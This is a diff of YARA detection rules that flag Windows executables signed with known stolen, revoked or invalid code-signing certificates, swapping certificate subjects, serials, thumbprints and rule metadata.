+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L120-L131"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3be08901a44c1c94cfb93e56075270ed974399ccc0a4dce15299456dad645822"
+		logic_hash = "8ce0d25ef802948f754f155010f42d76256895ebd6ffdce8d97063dada58e668"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4418e9a7aab0909fa611985804416b1aaf41e175"
-		hash1 = "47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35"
+		thumbprint = "b61a6607154d27d64de35e7529cb853dcb47f51f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SpiffyTech Inc." and pe.signatures[i].serial=="06:df:5c:31:87:59:d6:ea:9d:09:0b:fb:2f:af:1d:94")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIG IN VISION SP Z O O" and pe.signatures[i].serial=="00:fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_330000026551Ae1Bbd005Cbfbd000000000265 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B61B8E71514059Adc604Da05C283E514 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "7f86e427-110f-5bcc-bb53-ca534f7444fc"
+		id = "d52bd370-a1da-56f1-8edd-da61c9e2e75b"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7337-L7351"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L133-L144"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ae836069665d088c6a309efe5166e260836dce6398c51701b2274515bdaa2cbd"
+		logic_hash = "b771d40e4e2db1d3f26d8fb2fa140f57871712700e584005d2377b701fc9538a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e168609353f30ff2373157b4eb8cd519d07a2bff"
-		hash1 = "a471fdf6b137a6035b2a2746703cd696089940698fd533860d34e71cc6586850"
+		thumbprint = "67ee69f380ca62b28cecfbef406970ddd26cd9be"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microsoft Windows" and pe.signatures[i].issuer contains "Microsoft Windows Production PCA 2011" and pe.signatures[i].serial=="33:00:00:02:65:51:ae:1b:bd:00:5c:bf:bd:00:00:00:00:02:65" and 1614796238<=pe.signatures[i].not_after)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APP DIVISION ApS" and pe.signatures[i].serial=="00:b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_309368B122Ab63103Dddd4Ad6321A82C : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_51Cd5393514F7Ace2B407C3Dbfb09D8D : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a9c2fa86-506e-503a-a864-8368f63662c4"
+		id = "f2f7b08e-111c-570b-b376-79145050ca42"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7353-L7365"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L146-L157"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "37a39d63e2bce6d4ce501e3032ee12fe8c5b39e8d8cb0f3e0c6d0be375bcffc8"
+		logic_hash = "389dbdc85035fdd94e831940eda910349134600e921720729840c932123db36d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1370de077e2ba2065478dee8075b16c0e5a5e862"
-		hash1 = "b7376049b73feb5bc677a02e4040f2ec7e7302456db9eac35c71072dd95557eb"
+		thumbprint = "07a9fd6af84983dbf083c15983097ac9ce761864"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Systems Accounting Limited" and pe.signatures[i].serial=="30:93:68:b1:22:ab:63:10:3d:dd:d4:ad:63:21:a8:2c")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APPI CZ a.s" and pe.signatures[i].serial=="51:cd:53:93:51:4f:7a:ce:2b:40:7c:3d:bf:b0:9d:8d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_19F613Cf951D49814250701037442Ee2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_030012F134E64347669F3256C7D050C5 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "780c515e-811c-5f44-97a2-9ed93a7d9d89"
+		id = "7f16b535-8a0f-583d-8bc3-0abf24f26632"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7367-L7384"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L159-L170"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ea5f770ddbb7dba836049bec0c7b73cd5bc6a87514f8ea00288cb9d52d17651"
+		logic_hash = "68bfd2e146e3b2bd1222de7f9981bb0e373bcb4727a81eb7060af36e6275d438"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint1 = "6feab07fa782fc7fbddde8465815f4d04d79ad97"
-		thumbprint2 = "41aaafa56a30badb291e96d31ed15a9343ba7ed3"
-		hash1 = "9629cae6d009dadc60e49f5b4a492bd1169d93f17afa76bee27c37be5bca3015"
-		hash2 = "3b3281feef6d8e0eda2ab7232bd93f7c747bee143c2dfce15d23a1869bf0eddf"
+		thumbprint = "959caa354b28892608ab1bb9519424c30bebc155"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cooler Master" and (pe.signatures[i].serial=="19:f6:13:cf:95:1d:49:81:42:50:70:10:37:44:2e:e2" or pe.signatures[i].serial=="6b:e8:ee:f0:82:a4:f5:96:4c:75:0b:c0:07:24:f6:4a"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Futumarket LLC" and pe.signatures[i].serial=="03:00:12:f1:34:e6:43:47:66:9f:32:56:c7:d0:50:c5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2D8Cfcf04209Dc7F771D8D18E462C35A : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B7F19B13De9Bee8A52Ff365Ced6F67Fa : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6b2b25af-dae5-5055-851d-e515f6beee58"
+		id = "b9cbe1bd-b24f-5599-a8b9-9e6f9b70f37f"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7386-L7398"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L172-L183"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e7eee6a6593c231c193145eeefd03a0f32c1d8cc103c97cfa26b5af7363c9b08"
+		logic_hash = "afdc41aed0480593bb8c92955db044ebe1a695d4912176123e26e052a3e9d3ea"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a9c61e299634ba01e269239de322fb85e2da006b"
-		hash1 = "af27173ed576215bb06dab3a1526992ee1f8bd358a92d63ad0cfbc0325c70acf"
+		thumbprint = "61708a3a2bae5343ff764de782d7f344151f2b74"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AA PLUS INVEST d.o.o." and pe.signatures[i].serial=="2d:8c:fc:f0:42:09:dc:7f:77:1d:8d:18:e4:62:c3:5a")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALEXIS SECURITY GROUP, LLC" and pe.signatures[i].serial=="00:b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_06De439Ba2Df4Dcd8240C211D60Cdf5E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4C8Def294478B7D59Ee95C61Fae3D965 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "90623074-58ac-51fd-9b80-881d3187dc74"
+		id = "2f95a688-2fb2-55b7-9cd5-44586d6d4dc8"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7400-L7412"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L185-L196"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2847853e2e9cc9e6909871b3f8e6de399fb76353e997b084c92dbcfe6c1a48f"
+		logic_hash = "d9e956d7d5b9389aebafd4b7025818ac8eb5a72aaa1b94068a12aa7a8029f97c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2650a1205bd7720381c00bdee5aede0ee333dc13"
-		hash1 = "e3bc81a59fc45dfdfcc57b0078437061cb8c3396e1d593fcf187e3cdf0373ed1"
+		thumbprint = ""
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microleaves LTD" and pe.signatures[i].serial=="06:de:43:9b:a2:df:4d:cd:82:40:c2:11:d6:0c:df:5e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DREAM SECURITY USA INC" and pe.signatures[i].serial=="4c:8d:ef:29:44:78:b7:d5:9e:e9:5c:61:fa:e3:d9:65")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F454F2Fdc800B3454059D8889Bd73D67 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A23B660E7322E54D7Bd0E5Acc890966 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "277ac503-91c4-5266-b8a4-c01a48b8df4d"
+		id = "c9817cbd-edce-5ae0-ad70-58d592ac415f"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7414-L7429"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L198-L209"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "91b33a3e915a007d00482905471e124045a373fef9c8b0fe9a987196d2ec013a"
+		logic_hash = "6b9009d0c509b38107eba5742613f8ec6f48e447225c664e374ef56d64b035f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2b560fabc34e0db81dae1443b1c4929eef820266"
-		hash1 = "e58b80e4738dc03f5aa82d3a40a6d2ace0d7c7cfd651f1dd10df76d43d8c0eb3"
+		thumbprint = "c1e0c6dc2bc8ea07acb0f8bdb09e6a97ae91e57c"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BEAUTY CORP SRL" and (pe.signatures[i].serial=="f4:54:f2:fd:c8:00:b3:45:40:59:d8:88:9b:d7:3d:67" or pe.signatures[i].serial=="00:f4:54:f2:fd:c8:00:b3:45:40:59:d8:88:9b:d7:3d:67"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ARTBUD RADOM SP Z O O" and pe.signatures[i].serial=="0a:23:b6:60:e7:32:2e:54:d7:bd:0e:5a:cc:89:09:66")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3Afe693728F8406054A613F6736F89E3 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_04332C16724Ffeda5868D22Af56Aea43 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "64c4157e-2183-5f41-b938-df29e210ee80"
+		id = "7e6be2f5-2f34-5337-8beb-4ccc6c50ad2d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7431-L7443"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L211-L222"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6993a13546a1eff8a4f770f224a14bffe7e3393f628337cff27cbf57ebab2a65"
+		logic_hash = "338e7d9374de04d00162c9caf86d922f4d659b024ae7908f0e02ca4709a14a1d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "89528e9005a635bcee8da5539e71c5fc4f839f50"
-		hash1 = "d98bdf3508763fe0df177ef696f5bf8de7ff7c7dc68bb04a14a95ec28528c3f9"
+		thumbprint = "cba350fe1847a206580657758ad6813a9977c40e"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ROB ALDERMAN FITNESS LIMITED" and pe.signatures[i].serial=="3a:fe:69:37:28:f8:40:60:54:a6:13:f6:73:6f:89:e3")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bespoke Software Solutions Limited" and pe.signatures[i].serial=="04:33:2c:16:72:4f:fe:da:58:68:d2:2a:f5:6a:ea:43")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Fd7F9Cac1E9Ce71Ac757F93266E3B13 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_085B70224253486624Fc36Fa658A1E32 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6021f566-e297-5af4-b692-663480091296"
+		id = "8d0f4499-1ed2-5277-be80-0b7f3499b360"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7445-L7457"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L224-L235"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "319f858a15f8752d7637ab7036ed89b17c501c2422769339578e685fe6a57eea"
+		logic_hash = "8779cca652b366ce33a3735069fdc35657a6bed5b469a956cd236d76901f8f54"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "af2779ceb127caa6c22232ad359888a0a71ce221"
-		hash1 = "7c28b994aeb3a85e37225cc20bae2232f97e23f115c2a409da31f353140c631e"
+		thumbprint = "36834eaf0061cc4b89a13e019eccc6e598657922"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE9\\x9D\\x92\\xE5\\xB2\\x9B\\xE4\\xB8\\x89\\xE5\\x96\\x9C\\xE8\\xB4\\xB8\\xE6\\x98\\x93\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures[i].serial=="0f:d7:f9:ca:c1:e9:ce:71:ac:75:7f:93:26:6e:3b:13")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Best Fud, OOO" and pe.signatures[i].serial=="08:5b:70:22:42:53:48:66:24:fc:36:fa:65:8a:1e:32")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Fbf16A33D26390A15F046C310030Cf0 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0086E5A9B9E89E5075C475006D0Ca03832 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6c010106-141d-5121-9594-73edc872a381"
+		id = "898bfe5f-5ac6-51f3-be55-09279a286835"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7459-L7471"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L237-L248"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc68fe14ec70de74a6dae7891dfbb82ee7974f37469cfa72d735e70e9194c405"
+		logic_hash = "613f21989dc369ef6b1d8e42a0d707810ef064c608e4e34ba5eb475164f14abc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "61f422db86bbc5093b1466a281f13346f8d81792"
-		hash1 = "f45e5f160a6de454d1db21b599843637103506545183a30053d03b609f92bbdc"
+		thumbprint = "76f6c507e0bcf7c6b881f117936f5b864a3bd3f8"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MACHINES SATU MARE SRL" and pe.signatures[i].serial=="5f:bf:16:a3:3d:26:39:0a:15:f0:46:c3:10:03:0c:f0")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BlueMarble GmbH" and pe.signatures[i].serial=="00:86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_292Eb1133507F42E6F36C5549C189D5E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_039668034826Df47E6207Ec9Daed57C3 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "60d3cc6e-bf58-55ae-a13b-0e22ecc8d5cd"
+		id = "8ae5f710-db8e-5d29-b247-a103f0878aa5"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7473-L7485"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L250-L261"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "456a09b1939d3f60e6ef735631eb681a9d15ea573552672fd14b19f60e8d8c73"
+		logic_hash = "b9579ba5dac45e38ef7b2b3381d1651395a4f648c68ae8e6fc36a0ea2d9b6300"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "48c32548ff651e2aac12716efb448f5583577e35"
-		hash1 = "f0b3b36086e58964bf4b9d655568ab5c7f798bd89e7a8581069e65f8189c0b79"
+		thumbprint = "f98bdfa941ebfa2fe773524e0f9bbe9072873c2f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Affairs-case s.r.o." and pe.signatures[i].serial=="29:2e:b1:13:35:07:f4:2e:6f:36:c5:54:9c:18:9d:5e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CHOO FSP, LLC" and pe.signatures[i].serial=="03:96:68:03:48:26:df:47:e6:20:7e:c9:da:ed:57:c3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2Aaa455A172F7E3A2Dffb5C6B14F9C16 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_736Dcfd309Ea4C3Bea23287473Ffe071 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "81c115a7-7ddf-58ba-b56e-a92652c7f217"
+		id = "058c4e85-e004-5fe0-9e16-9dbe333371f6"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7487-L7499"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L263-L274"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dd10d388e9122585c8e5b2073725f50edbc85d0ca1e94a4b034e500e0e89b608"
+		logic_hash = "68a91e0e042606d49a5c83c972b0a6bf387c9d7d20c2df132edec717ab4603a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "23c91b66bd07e56e60724b0064d4fedbdb1c8913"
-		hash1 = "7852cf2dfe60b60194dae9b037298ed0a9c84fa1d850f3898751575f4377215f"
+		thumbprint = "8bfc13bf01e98e5b38f8f648f0f843b63af03f55"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DREAM VILLAGE s.r.o." and pe.signatures[i].serial=="2a:aa:45:5a:17:2f:7e:3a:2d:ff:b5:c6:b1:4f:9c:16")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ESTELLA, OOO" and pe.signatures[i].serial=="73:6d:cf:d3:09:ea:4c:3b:ea:23:28:74:73:ff:e0:71")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Ef6392B2993A6F67578299659467Ea8 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_09C89De6F64A7Fdf657E69353C5Fdd44 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "f5539ca9-d5cc-538e-8e53-3274791bfa2b"
+		id = "613c4253-8a53-5faa-8376-10c9a35805cf"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7501-L7513"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L276-L287"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eabfeb7abc968188276ba76cd94bd80aba340f5f920881fe13c0f7b093d65a55"
+		logic_hash = "7fcb517a4160226cf89c13b5b27310d1e8a02d3f164a338a8d2901ef604f1d8a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e87d3e289ccb9f8f9caa53f2aefba102fbf4b231"
-		hash1 = "8282e30e3013280878598418b2b274cadc5e00febaa2b93cf25bb438ee6eb032"
+		thumbprint = "7ad763dfdaabc1c5a8d1be582ec17d4cdcbd1aeb"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALUSEN d. o. o." and pe.signatures[i].serial=="1e:f6:39:2b:29:93:a6:f6:75:78:29:96:59:46:7e:a8")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "EXON RENTAL SP Z O O" and pe.signatures[i].serial=="09:c8:9d:e6:f6:4a:7f:df:65:7e:69:35:3c:5f:dd:44")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0F007898Afcba5F8Af8Ae65D01803617 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_03B630F9645531F8868Dae8Ac0F8Cfe6 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "1c3fddc2-3348-5f94-bf3e-5ce95b6ef009"
+		id = "ca5203b8-3029-5914-b611-1717aefc7ccf"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7515-L7527"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L289-L300"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "260dbdd3d295ace9c478cc27061065803c159957a1eb2f7965ee2b358f02a73c"
+		logic_hash = "0c388ee7cfc2f35d5e020520d0c5a04b872d5deff63fc551308168e60122f7fc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5687481a453414e63e76e1135ed53f4bd0410b05"
-		hash1 = "815f1f87e2df79e3078c63b3cb1ffb7d17fd24f6c7092b8bbe1f5f8ceda5df22"
+		thumbprint = "ab027825daf46c5e686e4d9bc9c55a5d8c5e957d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TechnoElek s.r.o." and pe.signatures[i].serial=="0f:00:78:98:af:cb:a5:f8:af:8a:e6:5d:01:80:36:17")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Geksan LLC" and pe.signatures[i].serial=="03:b6:30:f9:64:55:31:f8:86:8d:ae:8a:c0:f8:cf:e6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Aa1D84779792B57F91Fe7A4Bde041942 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_020Bc03538Fbdc792F39D99A24A81B97 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "57b4741a-a23d-51aa-ad83-3a7d80368290"
+		id = "d5fd84b4-cccf-569d-96ea-26d9d21c6adf"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7529-L7543"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L302-L313"
